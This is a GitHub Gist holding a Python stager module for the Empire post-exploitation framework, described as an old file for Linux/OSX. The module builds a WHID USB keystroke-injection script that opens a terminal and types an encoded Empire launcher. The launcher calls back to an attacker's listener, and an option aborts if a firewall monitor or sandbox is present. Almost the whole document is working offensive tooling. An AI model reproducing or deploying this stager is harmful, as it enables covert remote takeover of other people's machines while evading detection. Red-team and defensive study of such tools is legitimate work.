Created
September 27, 2019 06:38
-
-
Save whid-injector/ae1001d7d78bf635c77e4067e4572536 to your computer and use it in GitHub Desktop.
Linux/OSX stager for Empire 2.3. Place in lib/stagers/osx directory. P.S. It is old thingy I accidentally found on my VPS. Not sure still works.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from lib.common import helpers | |
class Stager: | |
def __init__(self, mainMenu, params=[]): | |
self.info = { | |
'Name': 'WHIDLauncher', | |
'Author': ['@LucaBongiorni','@xorrior'], | |
'Description': ('Generates a WHID script that runs a one-liner stage0 launcher for Empire.'), | |
'Comments': [ | |
'' | |
] | |
} | |
# any options needed by the stager, settable during runtime | |
self.options = { | |
# format: | |
# value_name : {description, required, default_value} | |
'Listener' : { | |
'Description' : 'Listener to generate stager for.', | |
'Required' : True, | |
'Value' : '' | |
}, | |
'Language' : { | |
'Description' : 'Language of the stager to generate.', | |
'Required' : True, | |
'Value' : 'python' | |
}, | |
'SafeChecks' : { | |
'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', | |
'Required' : True, | |
'Value' : 'True' | |
}, | |
'OutFile' : { | |
'Description' : 'File to output WHID script to, otherwise displayed on the screen.', | |
'Required' : False, | |
'Value' : '' | |
}, | |
'UserAgent' : { | |
'Description' : 'User-agent string to use for the staging request (default, none, or other).', | |
'Required' : False, | |
'Value' : 'default' | |
} | |
} | |
# save off a copy of the mainMenu object to access external functionality | |
# like listeners/agent handlers/etc. | |
self.mainMenu = mainMenu | |
for param in params: | |
# parameter format is [Name, Value] | |
option, value = param | |
if option in self.options: | |
self.options[option]['Value'] = value | |
def generate(self): | |
# extract all of our options | |
language = self.options['Language']['Value'] | |
listenerName = self.options['Listener']['Value'] | |
userAgent = self.options['UserAgent']['Value'] | |
safeChecks = self.options['SafeChecks']['Value'] | |
# generate the launcher code | |
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, safeChecks=safeChecks) | |
if launcher == "": | |
print helpers.color("[!] Error in launcher command generation.") | |
return "" | |
else: | |
WHIDCode = "DefaultDelay:1000\n" | |
WHIDCode += "Press:131+32\n" | |
WHIDCode += "Print:terminal\n" | |
WHIDCode += "Press:176\n" | |
WHIDCode += "Print:"+launcher | |
WHIDCode += "\nPress:176\n" | |
return WHIDCode |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment